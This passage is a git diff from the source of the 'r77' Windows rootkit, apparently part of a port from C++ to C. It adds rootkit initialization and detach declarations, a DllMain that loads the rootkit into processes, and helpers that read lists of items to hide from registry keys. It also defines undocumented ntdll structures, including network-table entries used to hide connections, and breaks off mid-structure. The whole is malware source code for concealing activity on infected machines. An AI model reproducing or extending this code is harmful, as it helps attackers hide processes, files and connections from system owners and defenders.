+BOOL InitializeRootkit(HINSTANCE module); +/// +/// Detaches r77 from this process. +/// +VOID UninitializeRootkit(); +/// +/// A function that can be invoked using NtCreateThreadEx to detach r77 from this process. +/// The address of this function is written to the r77 header. +/// +static VOID DetachRootkit(); + +/// +/// Writes the r77 header to this process. +/// +/// +/// TRUE, if the header was written and r77 can run; +/// FALSE, if r77 should detach from this process. +/// +static BOOL WriteR77Header(); +/// +/// Removes the r77 header from this process. +/// +static VOID RemoveR77Header(); + +/// +/// Determines whether a string is hidden by prefix. +/// +/// The unicode string to be checked. +/// +/// TRUE, if this string is hidden by prefix; +/// otherwise, FALSE. +/// +BOOL HasPrefix(LPCWSTR str); +/// +/// Determines whether a string is hidden by prefix. +/// +/// The unicode string to be checked. +/// +/// TRUE, if this string is hidden by prefix; +/// otherwise, FALSE. +/// +BOOL HasPrefixU(UNICODE_STRING str); + +#endif \ No newline at end of file diff --git a/src/r77/detours.h b/r77/detours.h similarity index 100% rename from src/r77/detours.h rename to r77/detours.h diff --git a/src/r77/r77.cpp b/r77/r77.c similarity index 70% rename from src/r77/r77.cpp rename to r77/r77.c index e47f156..a7d34c5 100644 --- a/src/r77/r77.cpp +++ b/r77/r77.c @@ -1,10 +1,12 @@ -#include "r77.h" +#include "r77mindef.h" +#include "Rootkit.h" +#include "ReflectiveDllMain.h" BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) { - if (!Rootkit::Initialize(module)) + if (!InitializeRootkit(module)) { // If the rootkit could not initialize, is already injected, or not eligible for this process, detach the DLL. return FALSE; @@ -12,7 +14,7 @@ BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved) } else if (reason == DLL_PROCESS_DETACH) { - Rootkit::Shutdown(); + UninitializeRootkit(); } return TRUE; diff --git a/r77/r77.vcxitems b/r77/r77.vcxitems new file mode 100644 index 0000000..2dfe4c9 --- /dev/null +++ b/r77/r77.vcxitems @@ -0,0 +1,30 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {6e4bb100-c3c9-4cf7-a637-08c2482c6b94} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/r77api/clist.c b/r77api/clist.c new file mode 100644 index 0000000..0cf70a6 --- /dev/null +++ b/r77api/clist.c @@ -0,0 +1,186 @@ +#include "clist.h" +#include "r77runtime.h" +#include + +PINTEGER_LIST CreateIntegerList() +{ + PINTEGER_LIST list = NEW(INTEGER_LIST); + list->Count = 0; + list->Capacity = 16; + list->Values = NEW_ARRAY(ULONG, list->Capacity); + return list; +} +VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key) +{ + DWORD count; + if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + WCHAR valueName[100]; + + for (DWORD i = 0; i < count; i++) + { + DWORD valueNameLength = 100; + DWORD type; + DWORD value; + DWORD valueSize = sizeof(DWORD); + + if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value)) + { + IntegerListAdd(list, value); + } + } + } +} +VOID DeleteIntegerList(PINTEGER_LIST list) +{ + FREE(list->Values); + libc_memset(list, 0, sizeof(INTEGER_LIST)); + FREE(list); +} +VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) +{ + if (list->Count == list->Capacity) + { + list->Capacity += 16; + PULONG newValues = NEW_ARRAY(ULONG, list->Capacity); + libc_memcpy(newValues, list->Values, list->Count * sizeof(ULONG)); + + PULONG oldValues = list->Values; + list->Values = newValues; + FREE(oldValues); + } + + list->Values[list->Count++] = value; +} +BOOL IntegerListContains(PINTEGER_LIST list, ULONG value) +{ + for (DWORD i = 0; i < list->Count; i++) + { + if (list->Values[i] == value) return TRUE; + } + + return FALSE; +} +BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB) +{ + if (listA == listB) + { + return TRUE; + } + else if (listA == NULL || listB == NULL) + { + return FALSE; + } + else if (listA->Count != listB->Count) + { + return FALSE; + } + else + { + for (ULONG i = 0; i < listA->Count; i++) + { + if (listA->Values[i] != listB->Values[i]) return FALSE; + } + + return TRUE; + } +} + +PSTRING_LIST CreateStringList(BOOL ignoreCase) +{ + PSTRING_LIST list = NEW(STRING_LIST); + list->Count = 0; + list->Capacity = 16; + list->IgnoreCase = ignoreCase; + list->Values = NEW_ARRAY(LPWSTR, list->Capacity); + return list; +} +VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength) +{ + DWORD count; + if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + WCHAR valueName[100]; + PWCHAR value = NEW_ARRAY(WCHAR, maxStringLength + 1); + + for (DWORD i = 0; i < count; i++) + { + DWORD valueNameLength = 100; + DWORD type; + DWORD valueSize = maxStringLength; + + if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value)) + { + StringListAdd(list, value); + } + } + + FREE(value); + } +} +VOID DeleteStringList(PSTRING_LIST list) +{ + for (ULONG i = 0; i < list->Count; i++) + { + FREE(list->Values[i]); + } + + FREE(list->Values); + libc_memset(list, 0, sizeof(STRING_LIST)); + FREE(list); +} +VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) +{ + if (value) + { + if (list->Count == list->Capacity) + { + list->Capacity += 16; + LPWSTR *newValues = NEW_ARRAY(LPWSTR, list->Capacity); + libc_memcpy(newValues, list->Values, list->Count * sizeof(LPWSTR)); + + LPWSTR *oldValues = list->Values; + list->Values = newValues; + FREE(oldValues); + } + + list->Values[list->Count] = NEW_ARRAY(WCHAR, lstrlenW(value) + 1); + lstrcpyW(list->Values[list->Count++], value); + } +} +BOOL StringListContains(PSTRING_LIST list, LPCWSTR value) +{ + if (value) + { + for (DWORD i = 0; i < list->Count; i++) + { + if (list->IgnoreCase ? !StrCmpIW(list->Values[i], value) : !StrCmpW(list->Values[i], value)) return TRUE; + } + } + + return FALSE; +} +BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB) +{ + if (listA == listB) + { + return TRUE; + } + else if (listA == NULL || listB == NULL) + { + return FALSE; + } + else if (listA->Count != listB->Count) + { + return FALSE; + } + else + { + for (ULONG i = 0; i < listA->Count; i++) + { + if (listA->IgnoreCase && listB->IgnoreCase ? StrCmpIW(listA->Values[i], listB->Values[i]) : StrCmpW(listA->Values[i], listB->Values[i])) return FALSE; + } + + return TRUE; + } +} \ No newline at end of file diff --git a/r77api/clist.h b/r77api/clist.h new file mode 100644 index 0000000..93d2147 --- /dev/null +++ b/r77api/clist.h @@ -0,0 +1,141 @@ +#include "r77mindef.h" +#ifndef _CLIST_H +#define _CLIST_H + +/// +/// Defines a collection of ULONG values. +/// +typedef struct _INTEGER_LIST +{ + /// + /// The number of ULONG values in this list. + /// + DWORD Count; + /// + /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. + /// + DWORD Capacity; + /// + /// A buffer that stores the ULONG values in this list. + /// + PULONG Values; +} INTEGER_LIST, *PINTEGER_LIST; + +/// +/// Defines a collection of strings. +/// +typedef struct _STRING_LIST +{ + /// + /// The number of strings in this list. + /// + DWORD Count; + /// + /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. + /// + DWORD Capacity; + /// + /// TRUE to treat strings as case insensitive. + /// + BOOL IgnoreCase; + /// + /// A buffer that stores the strings in this list. + /// + LPWSTR *Values; +} STRING_LIST, *PSTRING_LIST; + +/// +/// Creates a new INTEGER_LIST. +/// +/// +/// A pointer to the newly created INTEGER_LIST structure. +/// +PINTEGER_LIST CreateIntegerList(); +/// +/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure. +/// Values that are already in the list are not added. +/// +/// The INTEGER_LIST structure to add the values to. +/// The registry key to read DWORD values from. +VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key); +/// +/// Deletes the specified INTEGER_LIST structure. +/// +/// The INTEGER_LIST structure to delete. +VOID DeleteIntegerList(PINTEGER_LIST list); +/// +/// Adds a ULONG value to the specified INTEGER_LIST. +/// +/// The INTEGER_LIST structure to add the ULONG value to. +/// The ULONG value to add to the list. +VOID IntegerListAdd(PINTEGER_LIST list, ULONG value); +/// +/// Determines whether the ULONG value is in the specified INTEGER_LIST. +/// +/// The INTEGER_LIST structure to search. +/// The ULONG value to check. +/// +/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST; +/// otherwise, FALSE. +/// +BOOL IntegerListContains(PINTEGER_LIST list, ULONG value); +/// +/// Compares two INTEGER_LIST structures for equality. +/// +/// The first INTEGER_LIST structure. +/// The second INTEGER_LIST structure. +/// +/// TRUE, if both INTEGER_LIST structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB); + +/// +/// Creates a new STRING_LIST. +/// +/// TRUE to treat strings as case insensitive. +/// +/// A pointer to the newly created STRING_LIST structure. +/// +PSTRING_LIST CreateStringList(BOOL ignoreCase); +/// +/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure. +/// Strings that are already in the list are not added. +/// +/// The STRING_LIST structure to add the strings to. +/// The registry key to read REG_SZ values from. +/// The maximum length of REG_SZ values that are read from the registry key. +VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength); +/// +/// Deletes the specified STRING_LIST structure. +/// +/// The STRING_LIST structure to delete. +VOID DeleteStringList(PSTRING_LIST list); +/// +/// Adds a string to the specified STRING_LIST. +/// +/// The STRING_LIST structure to add the string to. +/// The string to add to the list. +VOID StringListAdd(PSTRING_LIST list, LPCWSTR value); +/// +/// Determines whether the string is in the specified STRING_LIST. +/// +/// The STRING_LIST structure to search. +/// The string to check. +/// +/// TRUE, if the specified string is in the specified STRING_LIST; +/// otherwise, FALSE. +/// +BOOL StringListContains(PSTRING_LIST list, LPCWSTR value); +/// +/// Compares two STRING_LIST structures for equality. +/// +/// The first STRING_LIST structure. +/// The second STRING_LIST structure. +/// +/// TRUE, if both STRING_LIST structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB); + +#endif \ No newline at end of file diff --git a/r77api/ntdll.h b/r77api/ntdll.h new file mode 100644 index 0000000..0a36926 --- /dev/null +++ b/r77api/ntdll.h @@ -0,0 +1,652 @@ +#include "r77mindef.h" +#ifndef _NTDLL_H +#define _NTDLL_H + +#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) + +#define SL_RESTART_SCAN 0x01 +#define SL_RETURN_SINGLE_ENTRY 0x02 +#define SL_INDEX_SPECIFIED 0x04 +#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 +#define SL_NO_CURSOR_UPDATE 0x10 + +#define DEVICE_NSI L"\\Device\\Nsi" +#define IOCTL_NSI_GETALLPARAM 0x12001b + +typedef enum _NT_SYSTEM_INFORMATION_CLASS +{ + SystemProcessorInformation = 1, + SystemPathInformation = 4, + SystemCallCountInformation = 6, + SystemDeviceInformation, + SystemFlagsInformation = 9, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemTimeSlipNotification = 46, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformationObsolete, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + SystemLogicalProcessorAndGroupInformation, + SystemProcessorCycleTimeInformation, + SystemStoreInformation, + SystemRegistryAppendString, + SystemAitSamplingValue, + SystemVhdBootInformation, + SystemCpuQuotaInformation, + SystemNativeBasicInformation, + SystemErrorPortTimeouts, + SystemLowPriorityIoInformation, + SystemTpmBootEntropyInformation, + SystemVerifierCountersInformation, + SystemPagedPoolInformationEx, + SystemSystemPtesInformationEx, + SystemNodeDistanceInformation, + SystemAcpiAuditInformation, + SystemBasicPerformanceInformation, + SystemQueryPerformanceCounterInformation, + SystemSessionBigPoolInformation, + SystemBootGraphicsInformation, + SystemScrubPhysicalMemoryInformation, + SystemBadPageInformation, + SystemProcessorProfileControlArea, + SystemCombinePhysicalMemoryInformation, + SystemEntropyInterruptTimingInformation, + SystemConsoleInformation, + SystemPlatformBinaryInformation, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation, + SystemDeviceDataEnumerationInformation, + SystemMemoryTopologyInformation, + SystemMemoryChannelInformation, + SystemBootLogoInformation, + SystemProcessorPerformanceInformationEx, + SystemCriticalProcessErrorLogInformation, + SystemSecureBootPolicyInformation, + SystemPageFileInformationEx, + SystemSecureBootInformation, + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, + SystemFullProcessInformation, + SystemKernelDebuggerInformationEx, + SystemBootMetadataInformation, + SystemSoftRebootInformation, + SystemElamCertificateInformation, + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, + SystemRegistryReconciliationInformation, + SystemEdidInformation, + SystemManufacturingInformation, + SystemEnergyEstimationConfigInformation, + SystemHypervisorDetailInformation, + SystemProcessorCycleStatsInformation, + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, + SystemKernelDebuggerFlags, + SystemCodeIntegrityPolicyInformation, + SystemIsolatedUserModeInformation, + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, + SystemInterruptCpuSetsInformation, + SystemSecureBootPolicyFullInformation, + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, + SystemCpuSetInformation, + SystemCpuSetTagInformation, + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, + SystemCodeIntegrityPlatformManifestInformation, + SystemInterruptSteeringInformation, + SystemSupportedProcessorArchitectures, + SystemMemoryUsageInformation, + SystemCodeIntegrityCertificateInformation, + SystemPhysicalMemoryInformation, + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, + SystemActivityModerationExeState, + SystemActivityModerationUserSettings, + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, + SystemIntegrityQuotaInformation, + SystemFlushInformation, + SystemProcessorIdleMaskInformation, + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, + SystemKernelVaShadowInformation, + SystemHypervisorSharedPageInformation, + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, + SystemFirmwarePartitionInformation, + SystemSpeculationControlInformation, + SystemDmaGuardPolicyInformation, + SystemEnclaveLaunchControlInformation, + SystemWorkloadAllowedCpuSetsInformation, + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, + SystemFlags2Information, + SystemSecurityModelInformation, + SystemCodeIntegritySyntheticCacheInformation, + SystemFeatureConfigurationInformation, + SystemFeatureConfigurationSectionInformation, + SystemFeatureUsageSubscriptionInformation, + SystemSecureSpeculationControlInformation +} NT_SYSTEM_INFORMATION_CLASS; + +typedef struct _NT_SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + ULONG BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION; + +typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef enum _NT_FILE_INFORMATION_CLASS +{ + FileFullDirectoryInformation = 2, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileMaximumInformation +} NT_FILE_INFORMATION_CLASS; + +typedef struct _NT_FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION; + +typedef struct _NT_FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION; + +typedef enum _NT_KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation +} NT_KEY_INFORMATION_CLASS; + +typedef enum _NT_KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation +} NT_KEY_VALUE_INFORMATION_CLASS; + +typedef struct _NT_KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION; + +typedef struct _NT_KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION; + +typedef struct _NT_KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION; + +typedef struct _NT_KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION; + +typedef enum _NT_NSI_PARAM_TYPE +{ + NsiUdp = 1, + NsiTcp = 3 +} NT_NSI_PARAM_TYPE; + +typedef struct _NT_NSI_TCP_SUBENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY; + +typedef struct _NT_NSI_TCP_ENTRY +{ + NT_NSI_TCP_SUBENTRY Local; + NT_NSI_TCP_SUBENTRY Remote; +} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY; + +typedef struct _NT_NSI_UDP_ENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY; + +typedef struct _NT_NSI_STATUS_ENTRY +{ + ULONG State; + BYTE Reserved[8]; +} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY; + +typedef struct _NT_NSI_PROCESS_ENTRY +{ + ULONG UdpProcessId; + ULONG Reserved1; + ULONG Reserved2; + ULONG TcpProcessId; + ULONG Reserved3; + ULONG Reserved4; + ULONG Reserved5; + ULONG Reserved6; +} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY; + +typedef struct _NT_NSI_PARAM +{ + SIZE_T Reserved1; + SIZE_T Reserved2; + LPVOID ModuleId; + NT_NSI_PARAM_TYPE Type; + ULONG Reserved3; + ULONG Reserved4; + LPVOID Entries; + SIZE_T EntrySize; + LPVOID Reserved5; + SIZE_T Reserved6; + PNT_NSI_STATUS_ENTRY StatusEntries; + SIZE_T Reserved7; + PNT_NSI_PROCESS_ENTRY ProcessEntries; + SIZE_T ProcessEntrySize; + SIZE_T Count; +} NT_NSI_PARAM, *PNT_NSI_PARAM; + +typedef enum _NT_OBJECT_INFORMATION_CLASS +{ + ObjectNameInformation = 1, + ObjectAllInformation = 3, + ObjectDataInformation +} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS; + +typedef struct _NT_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY; + +typedef struct _NT_PEB_LDR_DATA +{ + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID EntryInProgress; +} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA; + +typedef struct _NT_PEB +{ + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE SpareBool; + LPVOID Mutant; + LPVOID ImageBaseAddress; + PNT_PEB_LDR_DATA Ldr; + LPVOID ProcessParameters; + LPVOID SubSystemData; + LPVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + LPVOID FastPebLockRoutine; + LPVOID FastPebUnlockRoutine; + DWORD EnvironmentUpdateCount; + LPVOID KernelCallbackTable; + DWORD SystemReserved; + DWORD AtlThunkSListPtr32; + LPVOID FreeList; + DWORD TlsExpansionCounter; + LPVOID TlsBitmap; + DWORD TlsBitmapBits[2]; + LPVOID ReadOnlySharedMemoryBase; + LPVOID ReadOnlySharedMemoryHeap; + LPVOID ReadOnlyStaticServerData; + LPVOID AnsiCodePageData; + LPVOID OemCodePageData; + LPVOID UnicodeCaseTableData; + DWORD NumberOfProcessors; + DWORD NtGlobalFlag; + LARGE_INTEGER CriticalSectionTimeout; + DWORD HeapSegmentReserve; + DWORD HeapSegmentCommit; + DWORD HeapDeCommitTotalFreeThreshold; + DWORD HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + LPVOID ProcessHeaps; + LPVOID GdiSharedHandleTable; + LPVOID ProcessStarterHelper; + DWORD GdiDCAttributeList; + LPVOID LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + DWORD ImageSubsystemMinorVersion; + DWORD ImageProcessAffinityMask; + DWORD GdiHandleBuffer[34]; + LPVOID PostProcessInitRoutine; + LPVOID TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + DWORD SessionId; + ULARGE_INTEGER AppCompatFlags; + 